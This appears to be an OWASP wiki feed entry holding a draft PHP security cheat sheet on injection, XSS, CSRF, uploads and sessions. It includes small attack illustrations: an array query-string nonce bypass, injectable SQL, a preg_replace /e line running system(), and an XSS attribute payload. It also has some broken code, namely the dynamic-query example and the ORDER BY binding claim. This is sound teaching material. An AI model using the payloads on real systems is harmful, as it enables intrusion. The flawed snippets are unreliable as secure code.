[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165076</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=165076"/>
				<updated>2013-12-23T11:42:31Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: Added overview section to highlight general PHP issues and flaws which cannot be easily worked around&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language and 72% of web&lt;br /&gt;
servers deploy PHP. PHP is open source.&lt;br /&gt;
&lt;br /&gt;
PHP is unusual in that it is both a language and a web framework, in that it&lt;br /&gt;
comes with the typical features of a web framework built-in. Like all web&lt;br /&gt;
languages, there is also a large community of libraries etc., which also&lt;br /&gt;
contribute to the security (or otherwise) of programming in PHP. All 3 aspects&lt;br /&gt;
need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
There are, unfortunately, serious issues in all areas that make it difficult to&lt;br /&gt;
write secure PHP applications. These are difficult to work around if you are&lt;br /&gt;
forced to use PHP, but you need to be aware of them.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an&lt;br /&gt;
incorrect type into the expected type. This feature very often masks errors by&lt;br /&gt;
the developer or injections of unexpected data, leading to vulnerabilities (see&lt;br /&gt;
below under &amp;quot;Input handling&amp;quot; for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions&lt;br /&gt;
(e.g. === and not ==). Not all operators have strict versions, and many built-in&lt;br /&gt;
functions (like 'in_array') use weakly typed comparison functions, making it&lt;br /&gt;
difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but&lt;br /&gt;
instead report errors in other ways (such as via notices) that allow the faulty&lt;br /&gt;
code to carry on running. This has the effect of masking many bugs. In other&lt;br /&gt;
languages, error conditions that are caused by developer errors will cause the&lt;br /&gt;
program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting]&lt;br /&gt;
function, and never attempt to suppress error messages - always follow the&lt;br /&gt;
warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many&lt;br /&gt;
configuration settings, including fundamental changes to things like how errors&lt;br /&gt;
are handled. This can make it very difficult to write code that works correctly&lt;br /&gt;
in all circumstances. Different libaries can have different expectations or&lt;br /&gt;
requirements about these settings, making it difficult to correctly use 3rd&lt;br /&gt;
party code. Some are mentioned below under 'Configuration'.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP's built-in URL routing mechanism is to use files ending in &amp;quot;.php&amp;quot; in the&lt;br /&gt;
directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename is appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publically accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use .htaccess to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with $supplied_nonce being an array. strcmp() will then return&lt;br /&gt;
NULL (not 0), but due to weak typing and the '==' operator instead of '===', the&lt;br /&gt;
comparison succeeds (since &amp;quot;NULL == 0&amp;quot; is true according to PHP), and the&lt;br /&gt;
attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., you have to use a '''Secure Encoding''' library, but cannot trust the user. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers such always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* We don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with the above statement when you see a variable is included, no harm comes with that.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
